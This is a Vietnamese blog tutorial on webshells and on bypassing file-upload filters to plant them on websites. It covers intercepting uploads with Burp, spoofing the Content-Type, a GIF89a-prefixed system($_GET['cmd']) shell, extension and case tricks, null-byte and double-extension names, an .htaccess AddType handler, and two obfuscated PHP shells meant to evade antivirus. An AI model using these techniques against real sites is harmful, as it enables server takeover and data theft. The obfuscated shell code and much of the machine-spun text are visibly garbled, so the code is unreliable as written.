burp img listner

WebShell là 1 dạng mã độc, cửa hậu có nhiều chức năng để hỗ trợ các hacker chiếm quyền quản lý các hệ thống website.WebShell thường được viết bằng nhiều loại ngôn ngữ và thường thì chính là ngôn ngữ mà website đó đang sử dụng. Chức năng cơ bản là tải tệp tin lên máy chủ, kết nối đến cơ sở dữ liệu, vượt qua các cơ chế bảo mật, cấu hình, tấn công bruteforce, Get Root, Local Attack… chỉ cần hacker có thể tải được các tệp tin webshell này lên hệ thống của website thì xem như hacker đã có toàn quyền kiểm soát website đó, cho dù không biết tài khoản và mật khẩu của máy chủ này là gì.

Webshell là gì?

Một webshell là một script hoàn toàn có thể được tải lên một web server được cho phép điều khiển và tinh chỉnh và quản trị từ xa. Các web servers bị nhiễm độc ( bị hacker tải webshell lên ) hoàn toàn có thể là mạng internet hoặc mạng nội bộ, nơi mà những web shells được sử dụng để đi sâu hơn vào những sever ( host ) nội bộ .
Một web shell hoàn toàn có thể được viết bằng một ngôn từ bất kỹ nào mà web servers đích tương hỗ. Các web shell thông dụng nhất được viết bằng những ngôn từ cũng phổ biết không kém, ví dụ : PHP, ASP, Perl, Ruby, Python và Unix shell script …

Sử dụng các công cụ thăm dò mạng, hacker có thể xác định xác lỗ hổng có thể tấn công được và tiến hành cài đặt web shell. Ví dụ: Những lỗ hổng này có thể tồn tại trong các hệ thống quản lý nội dung(CMS) hoặc phần mềm web server.

Sau khi đã tải lên thành công xuất sắc, hacker hoàn toàn có thể sử dụng web shell để tận dụng những kỹ thuật khai thác khác nhằm mục đích nâng cao độc quyền và ra lệnh từ xa. Các lệnh này tương quan trực tiếp đến những những độc quyền và tính năng sẵn có của web server, những lệnh đồng thời gồm có năng lực : thêm, sửa, xóa và thực thi những files cũng như những năng lực chạy những shell commands, những tệp thực thi, scripts .

Làm thể nào để tải lên và sử dụng một webshell?

Kẻ tiến công hoàn toàn có thể tận dụng những lỗ hổng thông dụng để tải webshell lên như :

  • Cross-site Scripting.
  • SQL injection.
  • Lỗ hổng trong các ứng dụng/dịch vụ (ví dụ: wordpress hoặc các ứng cụng CMS khác).
  • Lỗ hổng xử lý tệp (ví dụ: lọc tải lên hoặc những quyền được chỉ định)
  • Lỗ hổng về Remote File Include (RFI) và Local File Include (LFI)
  • Giao diện admin bị lộ (có thể là các khu vực có thể tìm thấy các lỗ hổng được đề cập ở trên).

Web shells được sử dụng cho các mục đích như:

  • Thu thập và lọc dữ liệu nhạy cảm, các thông tin quan trọng.
  • Tải lên các phần mềm độc hại, VD: Một lỗ hổng có khả năng lây lan và scan các nạn nhân tiếp theo.
  • Đóng vai trò như một điểm tự để tạo ra các lệnh cho các hosts trong mạng mà không cần phải truy cập internet trực tiếp.
  • Có chức năng như một cơ sở hạ tầng điều khiển và kiểm soát, có khả năng như một bot trong một mạng botnet.
  • Mặc dù webshell thường không được sử dụng cho các cuộc tấn công DoS, nhưng nó vẫn có thể hoạt động như một platform để tải lên các công cụ khác, bao gồm cả DoS.

How would you bypass uploader protections?

Thường thì các trang web sẽ có chức năng upload file, VD: Là một file ảnh để cập nhật ảnh đại diện. Kẻ tấn công có thể lợi dụng tính năng này để tải shell lên hệ thống. Nhưng các shell tải lên thường bị cản trở bởi một số filters để ngăn chặn khả năng tải lên các tệp độc hại, VD: tải ảnh đại diện thì chỉ cho tải các file có đuôi là .png, .jpg, .jpeg ....

Vì vậy, để tải lên được file suôn sẻ thì tất cả chúng ta phải vượt qua được những bộ lọc ( filters ) đó. Và sau đây là những để bypass .
Chúng ta có 1 số ít bộ lọc cần vượt quá ( Bypass ) :

  1. Client side filters
  2. Content/type Verification
  3. The extention Black listing
  4. The Extention White listing
  5. The Content length and Malicious script checks
  6. Upload Shell using SQLi
  7. Shell Upload Bypass using LFI

1. Client side filters bypass

Trước tiên tất cả chúng ta phải biết “ Client side filters ” là gì ?

Client side filters là các bộ lọc dựa trên trình duyệt hoặc là javascript để xác thực loại tệp được tải lên. Nếu tập tin tải lên không hợp lệ thì sẽ có thông báo lỗi. Tất cả mọi thứ có vẻ hoạt động tốt cho đến khi kẻ tấn công có thể giả mạo yêu cầu trước khi gửi lên máy chủ. Dưới đây là một số thủ thuật để vượt qua Client side filters.

  1. Tắt javascript của trình duyệt (Disable JavaScript in the browser).
  2. HTTP Live Headers to replay the tampered request.
  3. Giả mạo dữ liệu bằng cách sử dụng firefox addon.
  4. Proxify the application and tamper the request.

Vì tất cả cách trên đều là cách bypass và một trong số cách đó sẽ phù hợp với kịch bản và trường hợp bạn cần sử dụng, trong bài này mình sử dụng phương pháp cuối cùng Proxify the application and tamper the request. Nó thiết lập proxy BURP thực sự đơn giản với trình duyệt của bạn và bắt đầu. Tôi sẽ chỉ cho các bạn các bước cơ bản để sử dụng BURP.

Bước 1: Mở Burp proxy và tạo cho nó lắng nghe cổng 8080:

step 1

Bước 2: Cấu hình Firefox của bạn để gửi traffic qua cổng localhost:8080, Tools -> Options -> Advanced -> Network -> Settings make the changes shown in the image

Bạn đã chuyển hướng thành công xuất sắc traffic truy vấn trải qua BURP. Bây giờ chọn tab Proxy -> tab Intercept và bật ON Intercept lên nếu nó đang tắt, để bạn hoàn toàn có thể biến hóa nội dung request trước khi đến sever .

step 3

Bây giờ giả sử có một website mà bạn đang cố tải shell và nó hiển thị lỗi răng bạn chỉ hoàn toàn có thể tải lên tệp hình ảnh, chỉ cần đổi tên shell.php của bạn thành shell.php.jpg và tải tệp lên. Khi bạn nhấp vào gửi một nhu yếu sẽ đến BURP. Thay đổi tên tệp trở lại thành shell.php nếu không có kiểm tra phía sever thì bạn sẽ tải được shell của mình lên .

2. Bypass Content/type Verification

  1. Chỉnh sửa Content-Type bằng các sử dụng Request Modification.
  2. Kiểm tra phía máy chủ bằng GIF89a; header.
  3. Tiêm payload của bạn vào Image Metadata/Comment.

Change Content-Type using Request Modification

Nhiều nhà phát triển dự vào request “content-type”, tệp tải lên sẽ kiểm tra content-type và nếu là kiểu Image thì mới được tải lên. Vấn đề ở đây là biến Content-type có thể được thay đổi trước khi đến server. Như bạn có thể thấy trong Image, conten-type là application/octet-stream, thay đổi nó thành image/gif và chờ đợi kết quả.

content-type

Fool Server side check using GIF89a; header

Đôi khi kiểm tra chữ ký nội dung phía máy chủ có thể bị đánh lừa bằng cách sử dụng GIF89a; trong header tệp shell của bạn. Và đây là một ví dụ:

GIF89a;

system($_GET[' cmd ']);/ / or you can insert your complete shell code? >

Inject your payload in Image Metadata/Comments

Có rất nhiều cách hack mà chúng ta có thể thực hiện với tệp hình ảnh, một trong số chúng là đứa payload và metadata header bằng exiftools hoặc bạn có thể sử dụng một công cụ có tên edjpgcom.exe. Sử dụng dòng lệnh edjpgcom.exe yourimagefilename.jpg để thêm comments cho hình ảnh của bạn.

3. Bypassing the Extension Black Listing

Đôi khi những nhà phát triể sử dụng chiêu thức liệt kê danh sách đen chống lại việc tải shell lên, yếu tố với việc duyệt list đen luôn giống nhau, và nhiều khi bạn hoàn toàn có thể bỏ sót mà quên chặn đi một cái gì đó thì kẻ tiến công hoàn toàn có thể bypass ngay. Giả sử những nhà tăng trưởng đang lọc những tệp php không được tải lên server. Tôi sẽ hướng dẫn cho những bạn một số ít những để bypass nó .

  1. Hãy thử các đuôi file (extentions) khác.
  2. Vượt qua một số bộ lọc của các trường hợp nhạy cảm.
  3. Vượt qua bộ lọc regex.
  4. Thêm shell để thực thi bằng cách sử dụng tệp .htaccess.

Try other executable extensions

Nếu file có đuôi là php thì tôi có thể đổi tên tệp thành shell.php1, shell.php2, shell.php3, shell.phptml, .... Chúng tôi thậm chí có thể thực thi perl shell với phần mở rộng là .pl hoặc .cgi.

Bypass Case Sensitive Filter

Nếu toàn bộ đều nằm trong list đen, tất cả chúng ta hoàn toàn có thể thử biến hóa trường hợp để xem bộ lọc có phân biệt chữ hoa hay không, hãy thử :

shell.PhP
shell.Php1
shell.PhP2
shell.pHP2
shell.pHp4
shell.PHp5
shell.PhtMl

Idiotic Regex filter bypass

Lập trình viên có thể tạo một regex chỉ kiểm tra sự .jpg trong tên tệp, vì vậy những trường hợp như vậy có thể bypass bằng cách sử dụng hai lần mở rộng như shell.jpg.php, v.v

Add shell to executable using .htaccess file

Nhưng nếu tôi không may mắn và tất cả các phần mở rộng ở trên không hoạt động thì tôi vẫn có một cách nữa để truy cập trang web bằng tệp .htaccess.

Tệp htaccess la tệp thông số kỹ thuật sever Apache. Sử dụng một trong những setup của nó, tất cả chúng ta hoàn toàn có thể biến hóa hành vi loại tệp. Bây giờ, hãy tải file. htaccess lên cùng thư mục .

AddType application/x-httpd-php .shell

4. Bypassing the Extension White Listing

Đôi khi nhà phát triển không cho phép bất kỳ tiện ích mở rộng nào khác ngoài một số tiện ích mở rộng được liệt kê trong white list, chảng hạn như cho phép tải lên những file hình ảnh có đuôi là jpg,jpeg,gif,png,bmp.... Chúng ta có thể thử các thủ thuật sau:

  1. Null Byte Injection
  2. Bypass using Double Extension
  3. Invalid Extension Bypass

Null Byte Injection

Thủ thuật đầu tiên tôi muốn nhắc tới là tiêm NULL byte, khi tôi chèn một tệp shell.php% 00.jpg phần sau %00 bị vô hiệu hóa bởi ngôn ngữ và tệp được tải lên với tên shell.php.

Bypass using Double Extension

Trong 1 số ít trường hợp, tất cả chúng ta hoàn toàn có thể sử dụng shell.php.jpg, shell.php :. jpg, shell.php ;. jpg, đôi lúc điều này cũng hoàn toàn có thể làm cho shell thực thi nhưng thường bị bypass bởi sever web hoặc hệ điều hành quản lý. Vì vậy, không hề đổ lỗi cho lập trình viên, nhưng khi tải tập tin lên mà không đổi khác tên tập tin là một điều không đồng ý được .

Invalid Extension Bypass

Đây là một khai thác phía sever khác, tôi sử dụng những mực độ như. test thì hệ quản lý không nhận ra, thì phần lan rộng ra tiên phong được sử dụng. Tức là tôi thử tải lên tệp shell.php.test thì hệ điều hành quản lý bỏ lỡ phần lan rộng ra. test và thực thi. php .

5. Bypassing the Content Length and Malicious script checks

Content Length Bypass

Đôi khi tất cả chúng ta sẽ gặp 1 số ít ứng dụng kiểm tra độ dài của nội dung tệp tải lên. Hãy nhớ ràng có 1 số ít cách rất thuận tiện để vượt qua cách kiểm tra như vậy. Nếu sever đang kiểm tra đầu vào tệp rất nhỏ thì đây là mã shell nhỏ bạn hoàn toàn có thể sử dụng :

system($_GET[0]);

Bây giờ nếu kiểm tra size tệp lớn hơn, tất cả chúng ta hoàn toàn có thể làm cho tệp có nội dung lớn hơn bằng cách chèn rất nhiều rác vào tệp của mình :

Malicious script checks Bypass

Nhiều lần tôi có tải thành công xuất sắc một shell lên một sever nhưng khi tôi quay lại cố truy vấn nó, thì phát hiện shell của mình đã bị xóa. Thường thì một số ít AV ( anti virus ) hoặc những tệp lệnh ô nhiễm và xóa. giờ đây tất cả chúng ta hoàn toàn có thể đối phó với nó một cách thuận tiện nhưng tôi đang viết bài này cho những người không biết giải quyết và xử lý yếu tố như thế này. Vì vậy, ở đây tất cả chúng ta cần 1 số ít kỹ năng và kiến thức cơ bản về mã hóa hoặc là biết cách copy / patse. ở đây tôi sử dụng một số ít tệp lệnh shell hoặc động trong những trường hợp như vậy :

Shell-1: Bạn có thể thực thi nó như shell.php?0=system&1=ls

[]=

@! _; [email protected] {_}>>$_;$_[ ] =$__;$_[ ] [email protected]_;$_[ ( ( $__) ($__ ) ) ].=$_;
$_[ ] = $__; $_[ ] =$_[–$__] [$__>>$__];$_[$__].= ( ($__ $__) $_

[

$__-$__] ).($__ $__ $__) $_[$__-$__];
$_[$__ $__] = ($_[$__] [$__>>$__] ).($_[$__] [$__]^$_[$__] [ ($__<<$__)-$__] ); $_[$__ $__] .= ($_[$__] [ ($__<<$__)-($__/$__) ] )^($_[$__] [$__] ); $_[$__ $__] .= ($_[$__] [$__ $__] )^$_[$__] [ ($__<<$__)-$__ ]; $_=$ $_[$__ $__] ;$_[@-_] ($_[@! _] ); ?>

Shell-2: Sẽ thực thi như shell.php?_=system&__=ls

=

” { “;
$_= ($_^” < ").($_^" > ; “).($_^” / “);
?>
=USD {‘ _ ‘.$_}[” _ “] (USD {‘ _ ‘.$_}[” __ “

])

;?>
Thậm chí hoàn toàn có thể tải lên những đoạn mã php của riêng mình và triển khai 1 số ít thao tác cơ bản .
TRÊN ĐÂY LÀ TOÀN BỘ BÀI HƯỚNG DẪN, HI VỌNG CÓ THỂ GIÚP ÍCH ĐƯỢC CHO BẠN PHẦN NÀO !
Tham khảo : http://www.securityidiots.com/Web-Pentest/hacking-website-by-shell-uploading.html#cententtype-varification-bypass

Leave a Reply

Email của bạn sẽ không được hiển thị công khai.